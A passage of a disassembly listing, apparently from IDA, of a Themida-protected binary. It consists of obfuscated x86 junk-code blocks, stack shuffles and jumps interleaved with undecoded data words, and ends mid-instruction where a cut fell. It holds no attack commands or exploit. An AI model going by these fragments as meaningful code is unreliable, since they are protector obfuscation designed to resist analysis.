dd 6804E8h, 0E9000000h, 6B35h, 7B90E981h, 0C1292457h, 7B90BD55h dd 0E9012457h, 0FFF090E9h, 0E95058FFh, 0FFFFE888h ; --------------------------------------------------------------------------- loc_556764: ; CODE XREF: Themida_:0055DDA1j not ecx xchg ecx, [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ecx push esp jmp loc_550330 ; --------------------------------------------------------------------------- dw 895Ch dd 20B22414h, 9EEC80h, 0B75366D4h, 8EC4809Eh, 0EC80FC00h dd 0FF5B668Eh, 0E95A2434h, 0AE84h ; --------------------------------------------------------------------------- loc_5567A4: ; CODE XREF: Themida_:0055DB9Cj add esp, 4 jmp loc_55413F ; --------------------------------------------------------------------------- loc_5567AC: ; CODE XREF: Themida_:00561B98j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_55CD3A ; --------------------------------------------------------------------------- dd 161DBA52h, 0C6E91E58h, 81FFFFA6h, 134776CAh, 0CCE95325h dd 43FFFFE4h, 0CB62E9h db 0 ; --------------------------------------------------------------------------- loc_5567DD: ; CODE XREF: Themida_:00561535j push esp pop ecx jmp loc_558A0B ; --------------------------------------------------------------------------- dd 6DCAF281h, 43E914D5h, 5100005Bh, 42474FFh, 24048F59h dd 0E924248Bh, 4D8Bh ; --------------------------------------------------------------------------- loc_556800: ; CODE XREF: Themida_:005594F4j sub dh, 0CDh xor bl, dh pop edx push dx push eax mov ah, 3Dh mov dh, ah pop eax push cx mov cl, 6Ch and dh, cl pop cx jmp loc_5545F5 ; --------------------------------------------------------------------------- db 0BAh dd 57097D09h, 42D2F74Ah, 0A33EC281h, 0D789A628h, 53DFF75Ah dd 5B44F0BBh, 5BDF2146h, 40BEEF81h, 0EA810040h, 7D055417h dd 0C281FA01h, 7D055417h, 2414875Fh, 0E924248Bh, 0FFFFFAA0h dd 0C5E9C0FEh, 510000D9h, 0FFC417E9h, 0C1D587FFh, 0D5F708E5h dd 1E17E9h, 0BA525E00h, 0 dd 0E2CEE9h, 242C8900h, 0FE74ABDh, 5DEF3167h, 595FFA01h dd 0FFCE7CE9h, 2434FFFFh, 0E389535Eh, 9409E9h, 4B900h dd 17E90000h, 2C0000D9h, 0C43AE932h, 815D0000h, 4C4h, 2C68300h dd 0E9243487h, 0AF8h, 4C781h, 19E90000h, 890000D6h, 0BF575EF3h dd 290379CEh, 3EF0BD55h, 0E5E91EBCh, 0FF0000D5h, 81582434h dd 4C4h, 66536600h, 66241C87h, 8766D3F7h, 7DE9241Ch, 8900000Ah dd 77BB241Ch, 4B171104h, 95A4F381h, 0D9318264h, 59CE015Bh dd 4C681h, 62E90000h, 5DFFFFF5h, 24343358h, 33243431h dd 4BE92434h, 660000D2h, 0E4E930FFh, 5BFFFF95h, 0EE80FE00h dd 241C8BF9h, 0B886E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556942: ; CODE XREF: Themida_:00562672j sub esp, 4 mov [esp], eax push edi mov edi, 458B3349h push edx push edi sub dword ptr [esp], 3C707730h push dword ptr [esp] pop edx add esp, 4 add edx, 3C707730h push edx add dword ptr [esp], 29C756E7h pop eax sub eax, 29C756E7h pop edx pop edi push edx push esi mov esi, 27F90A30h push edx mov edx, esp jmp loc_56527B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0EC28E956h, 5B5C0000h, 0C1DBE951h, 0F368FFFFh, 8900004Bh dd 57512414h, 732FA8BFh, 58B0E95Eh, 6ABA0000h, 0E920232Fh dd 610Bh, 81240C8Bh, 4C4h, 36EB8000h, 0C380C300h, 5AC38036h dd 66C0B60Fh, 0E987048Fh, 0FFFF953Fh ; --------------------------------------------------------------------------- loc_5569D8: ; CODE XREF: Themida_:00562B40j or edx, 123726D4h jmp loc_564107 ; --------------------------------------------------------------------------- loc_5569E3: ; CODE XREF: Themida_:005624F1j add esp, 4 mov edi, ecx jmp loc_55128D ; --------------------------------------------------------------------------- loc_5569ED: ; CODE XREF: Themida_:0056079Ej pop ebp jmp loc_54FF20 ; --------------------------------------------------------------------------- byte_5569F3 db 0ACh ; DATA XREF: Themida_:0054FD40o dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 3EE92434h db 0DAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A0B: ; CODE XREF: Themida_:0055F853j add bl, al sub bl, 0Ch sub bl, 0D0h push dword ptr [esp] pop eax add esp, 4 push small 79BEh mov [esp], cx mov ch, 16h jmp loc_55F71C ; --------------------------------------------------------------------------- loc_556A29: ; CODE XREF: Themida_:00559DD9j shr edx, 4 push 56E6h mov [esp], ebp mov ebp, 12467F2Fh sub ebp, 8DD7E9Dh add edx, 24353050h jmp loc_550361 ; --------------------------------------------------------------------------- dw 815Eh dd 2419DCE6h, 0E9DEF723h, 0D35h, 8BF9315Eh, 0C481243Ch dd 4, 591C4F21h, 0FF94AAE9h, 0B75B66FFh, 58C73057h, 0D7F6C7FEh dd 0E955C780h, 8B59h, 39E9535Bh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A87: ; CODE XREF: Themida_:0055BF83j add eax, 3428AE2Ah xor ebx, eax pop eax mov esi, ebx jmp loc_55A1F7 ; --------------------------------------------------------------------------- dw 2C89h dd 0A0CAE924h, 895CFFFFh, 0B7532404h, 5BF8889Eh, 0FFFDABE9h db 0FFh ; --------------------------------------------------------------------------- loc_556AAD: ; CODE XREF: Themida_:0055798Ej sub esp, 4 mov [esp], esp push edx mov edx, 4 jmp loc_551104 ; --------------------------------------------------------------------------- loc_556AC1: ; CODE XREF: Themida_:0055087Ej mov esi, 4 add edi, esi pop esi push ecx mov ecx, 4 jmp loc_563D67 ; --------------------------------------------------------------------------- dd 0B8240489h, 556B6858h, 76C2E9h db 0 ; --------------------------------------------------------------------------- loc_556AE1: ; CODE XREF: Themida_:00551C4Ej add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] add bx, 46CCh jmp loc_5549FA ; --------------------------------------------------------------------------- db 57h, 0E9h, 0E1h dd 56FFFF94h, 0FFDECAE9h, 87BD55FFh, 0B8075221h, 1CBD5AC1h dd 4DE9E829h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556B1B: ; CODE XREF: Themida_:0055B7E1j push ecx jmp loc_558A82 ; --------------------------------------------------------------------------- db 52h, 0BAh, 63h dd 0BD0D300Bh, 68101F18h, 69E9D501h, 0BDFFFF95h, 690E7F00h dd 787143BFh, 0E9EF314Fh, 4634h, 4C481h, 2BB20000h, 0BA60E9h dd 58E12800h, 0FFD456E9h, 0E9EE29FFh, 0FFFFFDBBh, 0E902E8C0h dd 0FFFFAC6Ah, 4EA81h, 48E90000h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B73: ; CODE XREF: Themida_:00554342j pop ecx push ecx mov ecx, 95659AFh add ecx, 1 and ecx, 3F85009Fh neg ecx jmp loc_55E4BD ; --------------------------------------------------------------------------- dw 5E54h dd 4C681h, 89E90000h, 80000078h, 696810F3h, 89000072h dd 50E92414h, 500000E1h, 0FFB7DCE9h, 241C89FFh, 0F3808EB3h dd 8BDC080Bh, 0C481241Ch, 4, 0E999EC80h, 0B0BFh, 242D68h dd 241C8900h, 516645B3h, 0FFC270E9h, 77095CFFh, 24348B1Ch dd 0E904C483h, 0FFFFEC74h, 4ECAB951h, 0CD0113C4h, 241C8B59h dd 5604C483h, 4D3650BEh, 5363683Ch, 34890000h, 2414F724h dd 5124348Bh, 94A4E954h, 0E0890000h, 405h, 4C08300h, 5C240487h dd 5084E581h, 0BE5676DAh, 54B65F0Eh, 6159CE81h, 0DEF77CC1h dd 0FFD8FDE9h, 0E4F581FFh, 177207Dh, 242C8BEBh, 5504C483h dd 0ED6521BDh, 81EDD15Bh, 7A54E5CDh, 0D274E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556C5A: ; CODE XREF: Themida_:005626E4j push edi mov edi, 4 jmp loc_55605E ; --------------------------------------------------------------------------- loc_556C65: ; CODE XREF: Themida_:00561BBDj push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx jmp loc_562747 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4EE8300h, 43FFE9h db 0 ; --------------------------------------------------------------------------- loc_556C85: ; CODE XREF: Themida_:0055A89Ej add dl, 53h xor ch, dl pop edx xor ch, 9Dh sub al, ch push dword ptr [esp] pop ecx add esp, 4 jmp loc_5531D8 ; --------------------------------------------------------------------------- db 81h dd 4B7756E2h, 230E686Bh, 2C890000h, 246AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556CB2: ; CODE XREF: Themida_:0055F014j add edx, ebp pop ebp add edx, 135631EFh not edx add edx, 24AC7F08h push 421Ah mov [esp], eax mov eax, 549F0D1Bh jmp loc_55A3D2 ; --------------------------------------------------------------------------- db 57h, 50h, 0E9h dd 6317h ; --------------------------------------------------------------------------- loc_556CDC: ; CODE XREF: Themida_:00559DBEj mov ebx, ecx pop ecx not ebx sub ebx, 47F605B8h shl ebx, 8 not ebx neg ebx jmp loc_55CB35 ; --------------------------------------------------------------------------- db 81h dd 10E9242Ch, 5582E49h, 2E4910E9h, 32D2355Bh, 0BB537DA3h dd 40h, 23B7C381h, 0FB01267Bh, 80B6E9h db 0 ; --------------------------------------------------------------------------- loc_556D19: ; CODE XREF: Themida_:005584ACj add dword ptr [esp], 366265DAh pop eax sub eax, 366265DAh mov edx, eax push dword ptr [esp] jmp loc_56356F ; --------------------------------------------------------------------------- dd 8159CF89h, 5B554AC7h, 0F2EF8133h, 16D4068h, 0E8BA52D7h dd 0C1676839h, 0D2F702EAh, 8893EA81h, 7E978E5h, 0BB0000E6h dd 0CAD3253h, 0BFE95653h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556D63: ; CODE XREF: Themida_:0055E9E7j xchg edi, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] add [esp], al pushf jmp loc_54FF17 ; --------------------------------------------------------------------------- aLTSm db '‹$$Áâ',8,'é¬Ô',0 db 0 ; --------------------------------------------------------------------------- loc_556D83: ; CODE XREF: Themida_:0055E911j push edi mov edi, esp push 2BE1h jmp loc_55AE34 ; --------------------------------------------------------------------------- loc_556D90: ; CODE XREF: Themida_:00564C95j xchg eax, [esp] mov esp, [esp] jmp loc_559011 ; --------------------------------------------------------------------------- db 68h dd 76A7h, 51242C89h, 816DC5B9h, 923DBD32h, 0CD01CD7Eh dd 0E5CCE959h, 1C8BFFFFh, 53E95024h, 59FFFFFEh, 2474FF56h dd 48F5E04h, 24248B24h, 8B1C4721h, 1CE92404h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556DD7: ; CODE XREF: Themida_:0055185Aj mov [esp], edx push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edx, [esp] push ebp push esp pop ebp jmp loc_562F4C ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 0C6BA5256h, 0F712FC6Eh, 4960E9DAh, 6C2C0000h, 240C8B66h dd 0E902C483h, 0FFFFBCA4h ; --------------------------------------------------------------------------- loc_556E1C: ; CODE XREF: Themida_:00554EB6j pop edi push edi xchg esi, [esp] jmp loc_5642FB ; --------------------------------------------------------------------------- dw 0E959h dd 0BEF7h, 573CE981h, 8B5F0CE5h, 0C4812414h, 4, 0FFE2ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_556E41: ; CODE XREF: Themida_:00559765j xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_562061 ; --------------------------------------------------------------------------- db 5, 39h, 75h dd 0D8014F2Fh, 2F75392Dh, 0C9F9E94Fh, 0E2810000h, 227C5E75h dd 3C3CC281h, 0CA814235h, 7D91296Dh, 6E67F281h, 0C281F272h dd 6F3238E1h, 0BF57CA01h, 6F3238E1h, 7C9DC281h, 0FA296D86h dd 0E3B4E9h db 0 byte_556E91 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FC68o dd 50240C8Bh, 77D6E9h, 0C2815A00h, 17946883h, 0FFE5A7E9h dd 38F68FFh, 3C890000h, 68505624h, 84140C7h, 1536E9h, 24148900h dd 8CBA5256h, 815D9706h, 4C45D5CAh, 31E2E907h, 215F0000h dd 0B9515AD6h, 4FF67422h, 0E959CE21h, 0FFFFED29h, 0E924248Bh dd 78E4h ; --------------------------------------------------------------------------- loc_556EEC: ; CODE XREF: Themida_:0055A3E9j pop edx jmp loc_55377C ; --------------------------------------------------------------------------- word_556EF2 dw 0C8Bh ; DATA XREF: Themida_:0054FD5Co aS0 db '$é0²',0 align 2 loc_556EFA: ; CODE XREF: Themida_:0055DA5Fj add esp, 4 add esp, 4 push ebp jmp loc_55C21A ; --------------------------------------------------------------------------- loc_556F09: ; CODE XREF: Themida_:0055AA66j push ebp push 2A5E2656h pop ebp or ebp, 5B574D3Fh dec ebp jmp loc_55BDB8 ; --------------------------------------------------------------------------- dd 2C58158h, 55000000h, 42474FFh, 9367E9h, 24143100h, 5C241433h dd 0AEFBE9h, 240C8900h, 0D6E9E189h, 830000B7h, 248904ECh dd 24048124h, 4, 0A0685Eh, 4890000h, 4B824h, 0C6010000h dd 4EE8158h, 56000000h, 42474FFh, 24048F5Eh, 2414895Ch dd 0B45F26BAh, 8E2C12Ch, 0E902EAC1h, 5CCh, 4C481h, 0B7680000h dd 89000057h, 0E2892414h, 4C281h, 0C2830000h, 24148704h dd 4EC835Ch, 0FF243C89h, 5F042474h, 478E9h, 4C68100h, 81000000h dd 4C6h, 24348700h, 0B4ECE95Ch db 2 dup(0FFh) word_556FC6 dw 8B66h ; DATA XREF: Themida_:0054FEBCo dd 2368240Ch, 89000044h, 8F68243Ch, 89000039h, 4812424h dd 424h, 243C8B00h, 4C481h, 0EBE90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556FEF: ; CODE XREF: Themida_:00554791j add edi, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55999E ; --------------------------------------------------------------------------- loc_55700C: ; CODE XREF: Themida_:00554436j pop esp mov [esp], ebx push ebp mov ebp, 39D8717Ch sub dword ptr [esp+4], 28163696h add [esp+4], ebp jmp loc_55BC94 ; --------------------------------------------------------------------------- loc_557027: ; CODE XREF: Themida_:005592C9j mov edx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 0AA8645Ah jmp loc_56160E ; --------------------------------------------------------------------------- dd 76F5C381h, 0F3816E77h, 4044493Ch, 875BD901h, 248B240Ch dd 2434FF24h, 0B757E958h, 0E9C00000h, 0C4C4E907h, 0EA810000h dd 7EF10AC7h, 0C281EA01h, 7EF10AC7h, 0FFE47BE9h, 24148BFFh dd 2904C483h, 0A4E6E9DEh, 0EF83FFFFh, 243C8702h, 6624248Bh dd 0B2241489h, 66D30087h, 8124148Bh, 2C4h, 66A2E900h, 0E1C10000h dd 45C18103h, 314A055Bh, 0F1815BD9h, 45016AC2h, 2BC2BB53h dd 0D9314FA8h, 0E789575Bh, 4EC81h, 0C890000h, 4B924h, 0CF010000h dd 0FFBC35E9h db 0FFh ; --------------------------------------------------------------------------- loc_5570D9: ; CODE XREF: Themida_:0055E8E3j mov [esp], edx mov edx, 1862446Ch or esi, edx pop edx neg esi push 2116h mov [esp], ebx mov ebx, 19137DBFh sub ebx, 22261BC0h or ebx, 6C8810C2h jmp loc_564871 ; --------------------------------------------------------------------------- loc_557104: ; CODE XREF: Themida_:005633EFj add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_564329 ; --------------------------------------------------------------------------- loc_557119: ; CODE XREF: Themida_:0055F01Aj mov edx, ecx mov edi, edx pop edx jmp loc_564385 ; --------------------------------------------------------------------------- aSU db ')Â鸓',0 align 2 loc_55712A: ; CODE XREF: Themida_:0055F84Aj shr edx, 3 add edx, 0FA81E953h mov ebx, edx pop edx add ebx, eax add dword ptr [ebx], 1 jmp loc_55E204 ; --------------------------------------------------------------------------- db 56h dd 0BE6ED8BEh, 5EF331C3h, 0DD226A05h, 0FCF7E953h, 8950FFFFh dd 405E0h, 0BE560000h, 4, 0E95EF001h, 0E387h ; --------------------------------------------------------------------------- loc_55716C: ; CODE XREF: Themida_:005577D4j mov edx, [esp] push ecx jmp loc_5591CE ; --------------------------------------------------------------------------- db 5Bh, 58h, 66h dd 8324148Bh, 0E95302C4h, 1FA4h ; --------------------------------------------------------------------------- loc_557184: ; CODE XREF: Themida_:0055B8D1j xchg ebx, [esp] pop esp mov [esp], ebx push 52B51D23h mov ebx, [esp] add esp, 4 shl ebx, 2 add ebx, 0B52B8B73h push ebp mov ebp, ebx mov eax, ebp pop ebp push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 sub [edi+24h], eax push dword ptr [esp] pop eax jmp loc_551B4A ; --------------------------------------------------------------------------- dd 38C868h, 241C8900h, 8083B652h, 0FBB3CBEEh, 0A4E9F300h dd 1FFFFD1h, 5685BDEh, 89000077h, 68562404h, 51428CDh dd 0BE30E95Eh, 895C0000h, 0E389241Ch, 9A96E9h db 0 ; --------------------------------------------------------------------------- loc_5571F9: ; CODE XREF: Themida_:00550D84j add eax, 38612F89h push dword ptr [esp] pop ecx add esp, 4 push eax jmp loc_550FE4 ; --------------------------------------------------------------------------- db 57h dd 9C2F33BFh, 5FFD8933h, 0FFFFED81h, 0D5F7FFFFh, 726CED81h dd 9DE94A0Eh db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_557227: ; CODE XREF: Themida_:005521E1j xor eax, ebp xor ebp, eax xor eax, ebp push 1732h mov [esp], ebp xor [esp], esi xor esi, [esp] xor [esp], esi push esi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push esi not dword ptr [esp] mov esi, [esp] add esp, 4 xchg esi, [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_558A9E ; --------------------------------------------------------------------------- loc_557267: ; CODE XREF: Themida_:00560E43j mov ecx, [esp] add esp, 4 add esp, 4 xor edx, edx push edi jmp loc_54FF9E ; --------------------------------------------------------------------------- dw 481h dd 5F3F3924h, 1A4AE970h, 0E8C10000h, 55140508h, 0D1E913DFh dd 0C1000019h, 0EC8305E3h, 0A72CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572A2: ; CODE XREF: Themida_:00552824j add ebp, 4 jmp loc_55C221 ; --------------------------------------------------------------------------- loc_5572AD: ; CODE XREF: Themida_:00557FA6j shl ebx, 7 jmp loc_56390D ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C4h dd 4, 8B2434FFh, 0C483243Ch, 4C48304h, 15BAE9h db 0 ; --------------------------------------------------------------------------- loc_5572CD: ; CODE XREF: Themida_:0055A23Bj pop ebp push ebx mov ebx, 3F521D00h jmp loc_5526BB ; --------------------------------------------------------------------------- db 31h, 0F0h, 0E9h dd 0FFFFF591h, 8B66F830h, 0EE9241Ch db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572EB: ; CODE XREF: Themida_:00561BADj sub ecx, eax push 5A58h mov [esp], eax mov eax, 4E2E0FEFh push ebp mov ebp, 15866693h xor ebp, 6A48682Bh add ebp, 240A34DBh add ebp, 51621898h push eax jmp loc_553FD9 ; --------------------------------------------------------------------------- loc_557318: ; CODE XREF: Themida_:0055537Dj push eax mov eax, 4 jmp loc_55658F ; --------------------------------------------------------------------------- db 0BFh dd 444602FCh, 428FC781h, 0E955FF1Fh, 0FFFFBFCEh, 11E9DE01h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55733B: ; CODE XREF: Themida_:0055B91Bj and ecx, 65A3E86h or ecx, 0B0963D7h add ecx, 2B757BC7h jmp loc_55BCA2 ; --------------------------------------------------------------------------- dw 0D0BDh dd 0E96BC729h, 1735h, 5D2434FFh, 58DAE9h, 14E95B00h, 0D6h dd 7C56E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557372: ; CODE XREF: Themida_:005587B7j pop edx jmp loc_5580E1 ; --------------------------------------------------------------------------- dd 0C1665B66h, 436607E3h, 0FFD9FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_557385: ; CODE XREF: Themida_:00561E85j mov ebp, edi mov edi, [esp] add esp, 4 and eax, ebp push dword ptr [esp] mov ebp, [esp] sub esp, 4 mov [esp], eax jmp loc_55A6D7 ; --------------------------------------------------------------------------- dw 0FD2Ch dd 0E953F800h, 51Ch ; --------------------------------------------------------------------------- loc_5573B0: ; CODE XREF: Themida_:005552FEj sub ecx, edi pop edi jmp loc_551C1E ; --------------------------------------------------------------------------- dd 6624248Bh, 81240C8Bh, 4ECh, 0D91EE900h, 0AF05FFFFh dd 2D1B0018h, 0D375383h, 0A8685053h, 0E97B2259h, 0C489h dd 4BAh, 24540100h, 24148B04h, 0E9E38953h, 0FFFF94BDh ; --------------------------------------------------------------------------- loc_5573F4: ; CODE XREF: Themida_:0055C4C0j add ebx, 2CE043D4h mov ebp, ebx pop ebx add ebx, 740171Ch sub ebx, 0C912985h add ebx, ebp add ebx, 0C912985h sub ebx, 740171Ch pop ebp xchg ebx, [esp] mov esp, [esp] loc_55741E: ; CODE XREF: Themida_:0055378Fj sub esp, 4 mov [esp], ebx jmp loc_55034A ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 5024048Bh, 405E089h, 0E9000000h, 0FFFFF2EBh dd 0C8BE0F66h, 626C6866h, 0ABDCE9h, 0F9895B00h, 5F2434FFh dd 104C483h, 0B39E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55745E: ; CODE XREF: Themida_:00560631j xor eax, [esp] mov esp, [esp] jmp loc_55B6C7 ; --------------------------------------------------------------------------- loc_557469: ; CODE XREF: Themida_:00557C07j sub edi, 212D4B23h mov esi, [esp] add esp, 4 xchg edi, [esp] jmp loc_557AC2 ; --------------------------------------------------------------------------- loc_557480: ; CODE XREF: Themida_:00561E61j pop esi shr esi, 6 jmp loc_55F0A4 ; --------------------------------------------------------------------------- db 81h, 0F5h, 84h dd 16B484Ah, 8AE95DEEh, 330000C1h, 248B2414h, 2404D224h dd 8A71E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5574A6: ; CODE XREF: Themida_:0055A9E8j add eax, 69D23C3Eh pop edi add eax, 2702B1Dh add eax, ebp sub eax, 2702B1Dh add eax, 6BF85D53h mov ebp, [esp] add esp, 4 push ecx mov ecx, 1AFA1A93h jmp loc_55E666 ; --------------------------------------------------------------------------- dw 0E688h dd 41CE8058h, 1AECE9h, 5E08900h, 4, 8704E883h, 895C2404h dd 0F3682434h, 5E4D3D7Fh, 295EF231h, 2C875AD5h, 24895C24h dd 24048124h, 4, 9C51E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55750A: ; CODE XREF: Themida_:00558A62j pop eax pop ebp inc eax jmp loc_558299 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9240C89h, 3742h, 0C281E289h, 4, 73F1E9h, 48F5C00h dd 0BB04E924h, 48BFFFFh, 4C48324h, 81E18951h, 4C1h, 4BE5600h dd 0E9000000h, 0B33h, 53D4EA81h, 0DEE9B370h, 210000CBh dd 2D405AD0h, 6E1B36A1h, 7BBCC281h, 0C2016711h, 7BBCEA81h dd 0E9586711h, 4FABh, 52B9B353h, 0E6C0F2B6h, 4D2EE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557586: ; CODE XREF: Themida_:00562700j mov esp, [esp] retn ; --------------------------------------------------------------------------- dw 3FE9h dd 0F60000CFh, 0FAC8E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557596: ; CODE XREF: Themida_:0055DA25j xor eax, 58AAC165h sub ebx, eax jmp loc_563130 ; --------------------------------------------------------------------------- loc_5575A2: ; CODE XREF: Themida_:00553E4Cj pop ecx jmp loc_563998 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 234FE9h db 0 ; --------------------------------------------------------------------------- loc_5575B5: ; CODE XREF: Themida_:005532F7j mov al, 0ACh add dh, al pop eax add dh, 0EAh mov al, dh mov edx, [esp] jmp loc_552EC6 ; --------------------------------------------------------------------------- db 31h dd 5E1C1E9h, 8904EC83h, 0E4BB241Ch, 16FA0BFh, 0EF815BD9h dd 45533D31h, 0FF8C75E9h, 3FB805FFh, 0C1293E73h, 57E92958h dd 67226852h, 815A56F4h, 0FFFFFFEAh, 2EAC1FFh, 309FCA81h dd 0F2812CE4h, 499E10F5h, 0B6E9D789h, 560000B5h, 5255E689h dd 0AD7DC568h, 0C2815A60h, 463A6C2Fh, 3CC2E9h, 57515B00h dd 5449E9h, 0B8505B00h, 4, 0E958C629h, 8149h, 2D3DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557646: ; CODE XREF: Themida_:00554E41j pop ecx pop ebx jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_55764D: ; CODE XREF: Themida_:0055C455j add ebx, edx push eax mov eax, 0 sub eax, 562E59B0h add eax, ebx push esi mov esi, 562E59B0h add eax, esi pop esi jmp loc_55B782 ; --------------------------------------------------------------------------- loc_55766A: ; CODE XREF: Themida_:0055CBB6j sub ebp, eax mov eax, [esp] jmp loc_560CC4 ; --------------------------------------------------------------------------- loc_557674: ; CODE XREF: Themida_:0055A6A7j mov eax, 4 add esi, 5229132Fh add esi, eax jmp loc_561B91 ; --------------------------------------------------------------------------- dw 8B68h dd 0FF787663h, 3C8B2434h, 4C48124h, 83000000h, 0F75704C4h dd 0F75F241Ch, 9CE956D7h, 54FFFFF8h, 0A62FE9h db 0 ; --------------------------------------------------------------------------- loc_5576AD: ; CODE XREF: Themida_:00554827j mov esi, ebp jmp loc_56306E ; --------------------------------------------------------------------------- loc_5576B4: ; CODE XREF: Themida_:005565D9j push 2CE043CEh pop ebx not ebx jmp loc_55C4BF ; --------------------------------------------------------------------------- db 80h, 0F4h, 0ABh dd 3C380h, 3EB80E3h, 0E924048Bh, 0FFFFBA99h, 4B951h, 0CB010000h dd 4F8BE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5576E2: ; CODE XREF: Themida_:0055B83Ej add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_56111D ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 240C3304h, 0E9240C31h, 0FFFFC9C4h, 0CAC3E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55770A: ; CODE XREF: Themida_:00556290j pop ebx push ebp push dword ptr [esp+4] pop ebp jmp loc_562B8A ; --------------------------------------------------------------------------- aPsg db 'PéG>',0 align 4 dd 5E300BBEh, 8EFBE95Eh, 48FFFFFh, 24248B24h, 0B60FC330h dd 8734FFC0h, 0FFC5FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_557739: ; CODE XREF: Themida_:005589FCj push esp mov edx, [esp] jmp loc_55D17F ; --------------------------------------------------------------------------- dw 0DD88h dd 0FFFA2CE9h, 0B8EB81FFh, 1ED6440h, 8BE95BD8h, 810000C6h dd 42404h, 555B0000h, 0FFD16FE9h, 2F9CBDFFh, 97E922A6h dd 0BF000095h, 9837141h, 4247C01h, 5F2434FFh, 19D5E9h dd 0BB85000h, 5044A650h, 0FFCB97E9h, 36F681FFh, 89FEDFE6h dd 0C7815EF2h, 176E6EAFh, 0EF81D701h, 176E6EAFh, 5A2434FFh dd 0FDE95450h, 0BA00003Dh, 6E517318h, 2015C281h, 0DAF70056h dd 7AA5C281h, 0EA810967h, 2D538781h, 0A7C2E9h db 0 ; --------------------------------------------------------------------------- loc_5577CD: ; CODE XREF: Themida_:005531D3j add dword ptr [esp], 4 jmp loc_55716C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 2BBAE9h db 0 ; --------------------------------------------------------------------------- loc_5577E1: ; CODE XREF: Themida_:00557DF7j mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 3F2h jmp loc_555154 ; --------------------------------------------------------------------------- db 52h dd 23BF768h, 24E95A75h, 1000042h, 0EB815DEBh, 4, 0D839E9h dd 4C48100h, 8F000000h, 248B2404h, 24148924h, 0FF86E2E9h dd 4C481FFh, 1000000h, 24348BF7h, 0FFB19DE9h, 242C8BFFh dd 5E08950h, 4, 0E904C083h, 0FFFFB17Bh, 243C335Ch, 56EE9h db 0 ; --------------------------------------------------------------------------- loc_557861: ; CODE XREF: Themida_:0055819Dj push 736Dh mov [esp], esi mov esi, eax push ecx mov ecx, esi mov edx, ecx pop ecx jmp loc_55485A ; --------------------------------------------------------------------------- dw 0C89h dd 81E18924h, 4C1h, 4C18300h, 5C240C87h, 610A68h, 240C8900h dd 54535954h, 4C3815Bh, 81000000h, 4EBh, 241C8700h, 0E662E95Ch dd 2558FFFFh, 4FDE17A9h, 0AC01E9h db 0 ; --------------------------------------------------------------------------- loc_5578B5: ; CODE XREF: Themida_:00564769j mov edx, ebp pop ebp add edx, 3AED5B1Ah or edx, 5FAF11B9h inc edx shr edx, 1 jmp loc_55C160 ; --------------------------------------------------------------------------- dd 5E90AB3h, 53FFFF98h, 0BD446CBBh, 0D4CB812Bh, 0E97F103Eh dd 45E8h, 1C8BD888h, 4C48324h, 88C78853h, 48B5BFEh, 4C48324h dd 942DE9h, 5BCB8000h, 8085CB80h, 0DA305DF3h, 241C8B66h dd 410AE9h, 241C8B00h, 0FF9698E9h, 241489FFh, 0A2BA5256h dd 89157E71h, 0A6BA5AD6h, 29157E71h, 0D3015EF2h, 0FFDF12E9h db 0FFh ; --------------------------------------------------------------------------- loc_557935: ; CODE XREF: Themida_:0055C760j pop ebp push esi mov esi, 